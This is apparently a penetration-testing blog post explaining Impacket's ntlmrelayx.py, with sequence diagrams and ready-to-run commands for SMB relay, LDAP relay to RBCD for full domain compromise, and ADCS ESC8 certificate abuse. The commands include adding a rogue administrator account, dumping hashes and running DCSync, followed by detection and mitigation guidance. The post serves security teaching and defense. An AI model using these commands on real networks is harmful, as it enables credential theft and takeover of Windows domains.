Post

ntlmrelayx.py — What It Can and Cannot Do

A practical reference for ntlmrelayx.py (Impacket). Covers relay targets, attack chains, limitations, and flow diagrams for SMB relay, LDAP relay (RBCD), and ADCS ESC8.

ntlmrelayx.py — What It Can and Cannot Do

TL;DR

ntlmrelayx.py is an Impacket tool that intercepts NTLM authentication from a victim and replays it to a different target service — all without ever knowing the victim’s password. The attacker sits in the middle: the victim authenticates to the attacker, and the attacker uses that authentication credential to access another host or service.

The power of ntlmrelayx lies in what it does after a successful relay — automatic post-relay attacks like SAM dumping, RBCD delegation setup, LDAP enumeration, and ADCS certificate requests.


What ntlmrelayx.py Does

Capability Details
Relay SMB auth → SMB Execute commands, dump SAM, enumerate shares on target
Relay SMB/HTTP auth → LDAP/LDAPS Create computer accounts, set RBCD, dump domain data, modify AD objects
Relay to ADCS HTTP endpoint Request a certificate for the victim machine account (ESC8)
Relay to MSSQL Execute queries or xp_cmdshell as the relayed user
Relay to HTTP/HTTPS Generic HTTP relay for web services supporting NTLM auth
Multi-target relay Relay the same authentication to multiple targets simultaneously
SOCKS proxy mode Keep the relayed session alive for use with other tools (proxychains)
Auto-dump SAM -dump-hashes after successful SMB relay
Auto-create machine account --add-computer when relaying to LDAP
RBCD setup --delegate-access — configure Resource-Based Constrained Delegation
LAPS dump --dump-laps when relaying to LDAP
IPv6 support Works with IPv6 NTLM relay scenarios

What ntlmrelayx.py Cannot Do

Limitation Why
Relay to a host with SMB signing enabled Signed sessions cannot be replayed — the relay is cryptographically rejected
Relay to LDAP with signing + channel binding LDAP signing or EPA (channel binding) prevents relay
Relay NTLM to Kerberos-only services Kerberos is not NTLM — different auth protocol entirely
Relay back to the originating host SMB self-relay is blocked since MS08-068 (some HTTP→SMB edge cases remain)
Work without a victim initiating NTLM auth Requires a coercion method (Responder, PetitPotam, PrinterBug, etc.)
Relay NTLMv1 with MIC Modern targets require NTLMv2 with MIC — some old coercion scenarios break this
Perform the attack silently in all cases LDAP relay operations (object creation, attribute modification) are audited
Crack or recover the victim’s password The relayed credential is used in real-time — the plaintext is never recovered

Core Concept: How NTLM Relay Works

sequenceDiagram
    participant V as Victim (e.g. DC coerced by PetitPotam)
    participant A as Attacker (ntlmrelayx.py)
    participant T as Target (e.g. another server)

    Note over V,A: Attacker coerces victim to authenticate (Responder / PetitPotam / PrinterBug)
    V->>A: NTLM NEGOTIATE
    A->>T: NTLM NEGOTIATE (forward to target)
    T->>A: NTLM CHALLENGE (challenge from target)
    A->>V: NTLM CHALLENGE (forward challenge to victim)
    V->>A: NTLM AUTHENTICATE (signed with victim's hash)
    A->>T: NTLM AUTHENTICATE (forward to target)
    T->>A: Auth success — session established
    Note over A,T: Attacker now has an authenticated session as victim on target
    A->>T: Execute post-relay attack (SAM dump / LDAP modify / cert request...)

The attacker never sees the victim’s password. The NTLM exchange is forwarded intact — the cryptographic proof of identity is valid because it was generated by the real victim.


Attack Scenario 1: SMB Relay → Command Execution

Requirements: Target has SMB signing disabled (common on workstations, less common on DCs)

sequenceDiagram
    participant A as Attacker
    participant R as Responder (poison)
    participant V as Victim Workstation
    participant T as Target Host (SMB signing OFF)

    A->>R: Start Responder (SMB/HTTP off, just poisoning)
    A->>A: Start ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"

    V->>R: Broadcast (LLMNR/NBNS) — looking for a host
    R->>V: "I am that host" — victim connects to attacker
    V->>A: NTLM NEGOTIATE/CHALLENGE/AUTHENTICATE
    A->>T: Relay auth to TARGET SMB
    T->>A: Session established as victim
    A->>T: Execute: "whoami" via SMBExec technique
    T->>A: Output returned
1
2
3
4
5
6
7
8
9
10
11
# Start Responder (disable SMB and HTTP — ntlmrelayx handles these)
sudo responder -I eth0 -d -v --lm

# Relay to a single target with command execution
ntlmrelayx.py -t smb://10.10.10.50 -smb2support -c "net user hacker P@ssw0rd /add && net localgroup administrators hacker /add"

# Relay and dump SAM hashes
ntlmrelayx.py -t smb://10.10.10.50 -smb2support --dump-hashes

# Relay to multiple targets from a file
ntlmrelayx.py -tf targets.txt -smb2support --dump-hashes

Attack Scenario 2: LDAP Relay → RBCD → Full Domain Compromise

Requirements: LDAP signing disabled (default on older DCs), attacker can coerce a DC

This is one of the most impactful relay chains: coerce a DC to authenticate → relay to LDAP on another DC → configure RBCD → impersonate Domain Admin.

sequenceDiagram
    participant A as Attacker
    participant DC1 as DC1 (coerced victim)
    participant DC2 as DC2 (LDAP relay target)
    participant KDC as KDC

    Note over A: Step 1: Coerce DC1 to authenticate to attacker
    A->>DC1: PetitPotam / PrinterBug coercion
    DC1->>A: NTLM auth (DC1$ machine account)

    Note over A: Step 2: Relay DC1$ auth to DC2 LDAP
    A->>DC2: Relay NTLM as DC1$
    DC2->>A: LDAP session established as DC1$

    Note over A: Step 3: Create attacker-controlled machine account
    A->>DC2: LDAP: Add computer account (evil$, password=evil123)
    DC2->>A: Computer account created

    Note over A: Step 4: Set RBCD on DC1 — allow evil$ to delegate to it
    A->>DC2: LDAP: Set msDS-AllowedToActOnBehalfOfOtherIdentity on DC1$ = evil$
    DC2->>A: Attribute modified

    Note over A: Step 5: Use RBCD to impersonate Administrator on DC1
    A->>KDC: S4U2Self (evil$ impersonates Administrator)
    KDC->>A: Forwardable TGS for Administrator
    A->>KDC: S4U2Proxy → get TGS for cifs/DC1
    KDC->>A: TGS for Administrator @ cifs/DC1

    A->>DC1: Access DC1 as Administrator (secretsdump, etc.)
1
2
3
4
5
6
7
8
9
10
11
12
13
# Step 1+2: Coerce + relay to LDAP with RBCD setup
ntlmrelayx.py -t ldap://dc2.corp.local --delegate-access --add-computer

# Step 2 gives you:
# [*] Created machine account: evil$
# [*] Set msDS-AllowedToActOnBehalfOfOtherIdentity on DC1$

# Step 5: Get impersonation TGS
getST.py corp.local/evil$:'evil123' -spn cifs/dc1.corp.local -impersonate Administrator -dc-ip 10.10.10.100

# Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass dc1.corp.local

Attack Scenario 3: ADCS ESC8 — Relay to HTTP Enrollment

Requirements: ADCS Web Enrollment (/certsrv) is running without EPA, machine account has enroll rights on a template

sequenceDiagram
    participant A as Attacker
    participant V as Victim (DC or high-priv machine)
    participant CA as ADCS Web Enrollment (HTTP)
    participant KDC as KDC

    Note over A: Coerce victim machine account to authenticate
    A->>V: PetitPotam / PrinterBug coercion (target: attacker IP)
    V->>A: NTLM auth (VICTIM$ machine account)

    Note over A: Relay to ADCS HTTP enrollment — request a cert
    A->>CA: Relay NTLM as VICTIM$
    CA->>A: HTTP session established as VICTIM$
    A->>CA: POST /certsrv/certfnsh.asp — request cert for VICTIM$
    CA->>A: Certificate (.pfx) issued for VICTIM$

    Note over A: Authenticate as VICTIM$ using the certificate
    A->>KDC: PKINIT AS-REQ using cert
    KDC->>A: TGT for VICTIM$ (machine account)
    A->>KDC: U2U / S4U2Self for Administrator
    KDC->>A: NT hash for VICTIM$ via PKINIT UnPAC-the-hash
    Note over A: DCSync or lateral movement as VICTIM$ (DC = domain compromise)
1
2
3
4
5
6
7
8
9
10
11
12
13
# Start the relay targeting ADCS enrollment
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController

# After relay, you get a base64 cert. Decode and use:
# Convert base64 cert → .pfx, then:
gettgtpkinit.py -pfx-base64 <base64> corp.local/dc1$ dc1.ccache
export KRB5CCNAME=dc1.ccache

# Get NT hash via UnPAC-the-hash
getnthash.py -key <AS-REP enc key> corp.local/dc1$

# Or directly DCSync
secretsdump.py -just-dc corp.local/dc1$@dc1.corp.local -hashes :<NT_HASH>

SOCKS Mode — Keep Sessions Alive

SOCKS mode keeps the relayed session open so you can use it with any tool via proxychains.

1
2
3
4
5
6
7
8
9
# Start relay in SOCKS mode
ntlmrelayx.py -tf targets.txt -smb2support -socks

# In another terminal — list active SOCKS sessions
ntlmrelayx> socks

# Use the session with proxychains
proxychains secretsdump.py corp.local/victim@10.10.10.50 -no-pass
proxychains smbclient.py //10.10.10.50/C$ -no-pass

Checking SMB Signing

Before running a relay attack, identify hosts where SMB signing is not required:

1
2
3
4
5
6
7
8
# Check signing on a list of hosts
nmap --script smb2-security-mode -p 445 -iL hosts.txt

# With CME
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets_no_signing.txt

# With netexec
netexec smb 10.10.10.0/24 --gen-relay-list targets_no_signing.txt

Hosts showing Message signing enabled but not required are valid relay targets.


Common Options

Flag Description
-t <target> Single relay target (e.g. smb://10.0.0.1, ldap://dc.corp.local)
-tf <file> File of targets
-smb2support Enable SMBv2 support
-c "<cmd>" Command to execute after SMB relay
--dump-hashes Dump SAM hashes after SMB relay
--delegate-access Set up RBCD after LDAP relay
--add-computer [name] Create a new computer account via LDAP relay
--adcs ADCS ESC8 mode — request a certificate
--template <name> Certificate template to request
--dump-laps Dump LAPS passwords via LDAP relay
-socks Enable SOCKS proxy mode
-6 Enable IPv6
--remove-mic Remove MIC from NTLM messages (needed for some relay scenarios)

Detection & Defense

Blue Team Indicators

Event ID Source What to look for
4624 Security Type 3 network logon from an unexpected host
4741 Security Computer account created (RBCD setup)
5136 Security AD object modified — watch msDS-AllowedToActOnBehalfOfOtherIdentity
4886 Security Certificate requested (ADCS) — check if the requester IP matches the account

Mitigations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Enable SMB signing on all hosts (prevents SMB relay)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

# Enable LDAP signing on DCs
# GPO: Computer Configuration → Windows Settings → Security Settings →
#      Local Policies → Security Options →
#      "Domain controller: LDAP server signing requirements" → Require signing

# Enable LDAP channel binding (prevents LDAP relay via NTLM)
# Set LdapEnforceChannelBinding = 2 on DCs
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapEnforceChannelBinding /t REG_DWORD /d 2 /f

# Disable NTLM where possible (use Kerberos)
# GPO: Network security: Restrict NTLM: Incoming NTLM traffic → Deny all accounts
  • Enable SMB signing on all hosts (most impactful single mitigation)
  • Enable LDAP signing + channel binding on all DCs
  • Enable EPA (Extended Protection for Authentication) on ADCS Web Enrollment
  • Deploy Microsoft Defender for Identity (MDI) — detects relay patterns and RBCD abuse
  • Restrict or disable NTLM where Kerberos is available

References

This post is licensed under CC BY 4.0 by the author.